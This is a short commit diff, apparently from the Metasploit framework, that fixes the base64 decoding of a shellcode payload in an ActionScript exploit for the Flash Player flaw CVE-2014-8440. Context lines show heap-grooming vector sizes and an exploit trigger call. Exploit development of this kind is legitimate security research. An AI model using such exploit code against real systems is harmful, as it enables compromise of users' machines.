Fix CVE-2014-8440

Author: jvazquez-r7

data/exploits/CVE-2014-8440/msf.swf

@@ -42,8 +42,11 @@ package
 			this.object_vector_length = 5770 * 2
 			this.byte_array_vector_length = 510 * 2
 
-			b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
-			payload = b64.toByteArray().toString();
+			var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
+			var pattern:RegExp = / /g;
+			b64_payload = b64_payload.replace(pattern, "+")
+			b64.decode(b64_payload)
+			payload = b64.toByteArray().toString()
 
 			this.initialize_worker_and_ba()
 			if (!this.trigger())